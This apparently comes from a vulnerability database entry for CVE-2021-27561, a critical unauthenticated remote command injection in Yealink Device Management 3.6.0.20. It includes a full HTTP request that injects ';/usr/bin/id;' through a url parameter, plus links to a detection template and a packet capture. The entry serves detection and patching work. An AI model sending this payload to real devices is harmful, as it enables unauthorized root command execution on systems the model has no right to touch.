| Title | YeaLink DM 3.6.0.20 - Remote Command Injection |
|---|---|
| Author | shifacyclewala,hackergautam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device. |
| Remediation | Update to the latest firmware version provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94106 |
| CVE ID | CVE-2021-27561 |
| CWE ID | CWE-78 |
| Tags | cve2021 cve rce yealink mirai kev vkev vuln |
Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
GET /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27561.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27561.pcap
N/AN/A